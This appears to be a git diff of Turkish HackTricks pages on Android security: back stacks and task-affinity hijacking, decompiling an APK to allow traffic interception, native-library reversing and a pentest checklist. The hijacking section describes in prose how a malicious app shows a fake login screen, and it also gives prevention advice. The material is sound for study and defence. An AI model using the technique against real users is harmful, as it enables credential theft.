{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Görev, Geri Yığın ve Ön Plan Aktiviteleri ## Görev, Geri Yığın ve Ön Plan Aktiviteleri
Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir **geri yığın** içinde organize edilir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön plan aktivitesi** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür, bu da onu **ön plan görevi**nin bir parçası yapar. Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir **geri yığın** içinde organize edilmiştir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön plan aktivitesi** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür, bu da onu **ön plan görevi**nin bir parçası yapar.
Aktivite geçişlerinin hızlı bir özeti: Aktivite geçişlerinin hızlı bir özeti:
* **Aktivite 1**, ön planda tek aktivite olarak başlar. * **Aktivite 1**, ön planda tek aktivite olarak başlar.
* **Aktivite 2**'yi başlatmak, **Aktivite 1**'i geri yığına iterek **Aktivite 2**'yi ön plana getirir. * **Aktivite 2**'yi başlatmak, **Aktivite 1**'i geri yığına iterek **Aktivite 2**'yi ön plana getirir.
* **Aktivite 3**'ü başlatmak, **Aktivite 1** ve **Aktivite 2**'yi yığının daha gerisine taşır, **Aktivite 3** şimdi ön plandadır. * **Aktivite 3**'ü başlatmak, **Aktivite 1** ve **Aktivite 2**'yi yığında daha geriye taşır, **Aktivite 3** şimdi ön plandadır.
* **Aktivite 3**'ü kapatmak, **Aktivite 2**'yi tekrar ön plana getirir ve Android'in akıcı görev navigasyon mekanizmasını sergiler. * **Aktivite 3**'ü kapatmak, **Aktivite 2**'yi tekrar ön plana getirir ve Android'in akıcı görev navigasyon mekanizmasını sergiler.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>) ![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
## Görev bağlılığı saldırısı ## Görev bağlılığı saldırısı
### Görev Bağlılığı ve Başlatma Modları Genel Bakış ### Görev Bağlılığı ve Başlatma Modları Genel Görünümü
Android uygulamalarında, **görev bağlılığı**, bir aktivitenin tercih edilen görevini belirtir ve genellikle uygulamanın paket adıyla uyumludur. Bu yapı, saldırıyı göstermek için bir kanıt konsepti (PoC) uygulaması oluşturmakta önemlidir. Android uygulamalarında, **görev bağlılığı**, bir aktivitenin tercih edilen görevini belirtir ve genellikle uygulamanın paket adıyla uyumludur. Bu yapı, saldırıyı göstermek için bir kanıt konsepti (PoC) uygulaması oluşturmakta önemlidir.
### Başlatma Modları ### Başlatma Modları
`launchMode` niteliği, görevler içindeki aktivite örneklerinin nasıl işleneceğini yönlendirir. **singleTask** modu, mevcut aktivite örnekleri ve görev bağlılığı eşleşmelerine dayalı üç senaryoyu belirleyerek bu saldırı için kritik öneme sahiptir. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır ve Android sistemini saldırganın uygulamasını başlatmaya yönlendirir. `launchMode` niteliği, görevler içindeki aktivite örneklerinin nasıl işleneceğini yönlendirir. **singleTask** modu, bu saldırı için kritik öneme sahiptir ve mevcut aktivite örnekleri ile görev bağlılığı eşleşmelerine dayanan üç senaryo belirler. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır ve Android sistemini saldırganın uygulamasını başlatmaya yönlendirir.
### Ayrıntılı Saldırı Adımları ### Ayrıntılı Saldırı Adımları
@ -54,7 +46,7 @@ Android uygulamalarında, **görev bağlılığı**, bir aktivitenin tercih edil
4. **Kaçırma Uygulaması**: Eşleşen görev bağlılığı nedeniyle, kötü amaçlı uygulama hedef uygulamanın yerine başlatılır. 4. **Kaçırma Uygulaması**: Eşleşen görev bağlılığı nedeniyle, kötü amaçlı uygulama hedef uygulamanın yerine başlatılır.
5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamaya benzeyen sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır. 5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamaya benzeyen sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna bakın: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). Bu saldırının pratik bir uygulaması için GitHub'daki Görev Kaçırma Strandhogg deposuna bakın: [Görev Kaçırma Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Önleme Önlemleri ### Önleme Önlemleri
@ -65,23 +57,18 @@ Bu tür saldırıları önlemek için geliştiriciler, `taskAffinity`'yi boş bi
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,26 +1,18 @@
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu nedenle bazı uygulamalar için web trafiğini incelemek amacıyla uygulamayı decompile etmemiz, birkaç şey eklememiz ve yeniden derlememiz gerekir. Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu nedenle bazı uygulamalar için web trafiğini incelemek amacıyla uygulamayı decompile etmemiz, birkaç şey eklememiz ve yeniden derlememiz gerekir.
# Otomatik # Otomatik
@ -29,7 +21,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded
# Manuel # Manuel
Öncelikle uygulamayı decompile ediyoruz: `apktool d *dosya-adı*.apk` Öncelikle uygulamayı decompile ediyoruz: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png) ![](../../.gitbook/assets/img9.png)

View file

@ -1,37 +1,24 @@
# Yerel Kütüphaneleri Tersine Mühendislik # Yerel Kütüphaneleri Tersine Mühendislik
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
**Daha fazla bilgi için kontrol edin:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) **Daha fazla bilgi için kontrol edin:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
Android uygulamaları, performans açısından kritik görevler için genellikle C veya C++ ile yazılmış yerel kütüphaneler kullanabilir. Zararlı yazılım yaratıcıları da bu kütüphaneleri kullanır, çünkü bunlar DEX bytecode'dan daha zor tersine mühendislik yapılır. Bu bölüm, assembly dillerini öğretmek yerine Android'e özel tersine mühendislik becerilerini vurgular. Uyum sağlamak için ARM ve x86 sürümleri sağlanır. Android uygulamaları, performans açısından kritik görevler için genellikle C veya C++ ile yazılmış yerel kütüphaneler kullanabilir. Kötü amaçlı yazılım yaratıcıları da bu kütüphaneleri kullanır, çünkü bunları tersine mühendislik yapmak DEX bytecode'dan daha zordur. Bu bölüm, Android'e özel tersine mühendislik becerilerini vurgular, montaj dillerini öğretmek yerine. Uyum sağlamak için ARM ve x86 sürümleri sağlanmaktadır.
### Ana Noktalar: ### Ana Noktalar:
@ -39,7 +26,7 @@ Android uygulamaları, performans açısından kritik görevler için genellikle
* Performans yoğun görevler için kullanılır. * Performans yoğun görevler için kullanılır.
* Tersine mühendislik yapmayı zorlaştıran C veya C++ ile yazılmıştır. * Tersine mühendislik yapmayı zorlaştıran C veya C++ ile yazılmıştır.
* Linux ikili dosyalarına benzer şekilde `.so` (paylaşılan nesne) formatında bulunur. * Linux ikili dosyalarına benzer şekilde `.so` (paylaşılan nesne) formatında bulunur.
* Zararlı yazılım yaratıcıları, analizi zorlaştırmak için yerel kodu tercih eder. * Kötü amaçlı yazılım yaratıcıları, analizi zorlaştırmak için yerel kodu tercih eder.
* **Java Yerel Arayüzü (JNI) & Android NDK:** * **Java Yerel Arayüzü (JNI) & Android NDK:**
* JNI, Java yöntemlerinin yerel kodda uygulanmasına olanak tanır. * JNI, Java yöntemlerinin yerel kodda uygulanmasına olanak tanır.
* NDK, yerel kod yazmak için Android'e özgü bir araç setidir. * NDK, yerel kod yazmak için Android'e özgü bir araç setidir.
@ -50,17 +37,17 @@ Android uygulamaları, performans açısından kritik görevler için genellikle
* Java'da tanımlanan yerel yöntemler, yerel işlevlere bağlanarak çalıştırılmasını sağlar. * Java'da tanımlanan yerel yöntemler, yerel işlevlere bağlanarak çalıştırılmasını sağlar.
* **Java Yöntemlerini Yerel İşlevlere Bağlama:** * **Java Yöntemlerini Yerel İşlevlere Bağlama:**
* **Dinamik Bağlama:** Yerel kütüphanelerdeki işlev adları belirli bir desene uyar, otomatik bağlamaya olanak tanır. * **Dinamik Bağlama:** Yerel kütüphanelerdeki işlev adları belirli bir desene uyar, otomatik bağlamaya olanak tanır.
* **Statik Bağlama:** Bağlama için `RegisterNatives` kullanır, işlev adlandırma ve yapısında esneklik sağlar. * **Statik Bağlama:** Bağlama için `RegisterNatives` kullanır, işlev adlandırma ve yapı konusunda esneklik sağlar.
* **Tersine Mühendislik Araçları ve Teknikleri:** * **Tersine Mühendislik Araçları ve Teknikleri:**
* Ghidra ve IDA Pro gibi araçlar, yerel kütüphaneleri analiz etmeye yardımcı olur. * Ghidra ve IDA Pro gibi araçlar, yerel kütüphaneleri analiz etmeye yardımcı olur.
* `JNIEnv`, JNI işlevlerini ve etkileşimlerini anlamak için kritik öneme sahiptir. * `JNIEnv`, JNI işlevlerini ve etkileşimlerini anlamak için kritik öneme sahiptir.
* Kütüphaneleri yükleme, yöntemleri bağlama ve yerel işlevleri tanımlama pratiği yapmak için alıştırmalar sağlanır. * Kütüphaneleri yükleme, yöntemleri bağlama ve yerel işlevleri tanımlama pratiği yapmak için alıştırmalar sağlanmaktadır.
### Kaynaklar: ### Kaynaklar:
* **ARM Assembly Öğrenme:** * **ARM Montaj Dili Öğrenimi:**
* Temel mimariyi daha iyi anlamak için önerilir. * Temel mimariyi daha iyi anlamak için önerilir.
* Azeria Labs'tan [ARM Assembly Temelleri](https://azeria-labs.com/writing-arm-assembly-part-1/) önerilmektedir. * Azeria Labs'tan [ARM Montaj Dili Temelleri](https://azeria-labs.com/writing-arm-assembly-part-1/) önerilmektedir.
* **JNI & NDK Belgeleri:** * **JNI & NDK Belgeleri:**
* [Oracle'ın JNI Spesifikasyonu](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) * [Oracle'ın JNI Spesifikasyonu](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
* [Android'in JNI İpuçları](https://developer.android.com/training/articles/perf-jni) * [Android'in JNI İpuçları](https://developer.android.com/training/articles/perf-jni)
@ -68,28 +55,17 @@ Android uygulamaları, performans açısından kritik görevler için genellikle
* **Yerel Kütüphaneleri Hata Ayıklama:** * **Yerel Kütüphaneleri Hata Ayıklama:**
* [JEB Decompiler Kullanarak Android Yerel Kütüphanelerini Hata Ayıklama](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) * [JEB Decompiler Kullanarak Android Yerel Kütüphanelerini Hata Ayıklama](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,28 +1,20 @@
# Android APK Kontrol Listesi # Android APK Kontrol Listesi
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [Android Temellerini Öğrenin](android-app-pentesting/#2-android-application-fundamentals) ### [Android Temellerini Öğrenin](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Temeller](android-app-pentesting/#fundamentals-review) * [ ] [Temeller](android-app-pentesting/#fundamentals-review)
@ -31,7 +23,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [ ] [Aktiviteler](android-app-pentesting/#launcher-activity) * [ ] [Aktiviteler](android-app-pentesting/#launcher-activity)
* [ ] [URL Şemaları](android-app-pentesting/#url-schemes) * [ ] [URL Şemaları](android-app-pentesting/#url-schemes)
* [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services) * [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services)
* [ ] [Servisler](android-app-pentesting/#services-1) * [ ] [Hizmetler](android-app-pentesting/#services-1)
* [ ] [Yayıncı Alıcıları](android-app-pentesting/#broadcast-receivers) * [ ] [Yayıncı Alıcıları](android-app-pentesting/#broadcast-receivers)
* [ ] [Niyetler](android-app-pentesting/#intents) * [ ] [Niyetler](android-app-pentesting/#intents)
* [ ] [Niyet Filtreleri](android-app-pentesting/#intent-filter) * [ ] [Niyet Filtreleri](android-app-pentesting/#intent-filter)
@ -41,12 +33,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### [Statik Analiz](android-app-pentesting/#static-analysis) ### [Statik Analiz](android-app-pentesting/#static-analysis)
* [ ] [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımı kontrol edin, mobilin root'lanıp root'lanmadığını, bir emülatör kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. [Daha fazla bilgi için bunu okuyun](android-app-pentesting/#other-checks). * [ ] [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımı için kontrol edin, mobilin root'lanıp root'lanmadığını, bir emülatör kullanılıp kullanılmadığını ve anti-tamper kontrollerini kontrol edin. [Daha fazla bilgi için bunu okuyun](android-app-pentesting/#other-checks).
* [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root'lanıp root'lanmadığını kontrol etmeli ve buna göre hareket etmelidir. * [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root'lanıp root'lanmadığını kontrol etmeli ve buna göre hareket etmelidir.
* [ ] [ilginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API, şifreleme, arka kapılar, tokenlar, Bluetooth uuid'leri...). * [ ] [ilginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API, şifreleme, arka kapılar, tokenlar, Bluetooth uuid'leri...).
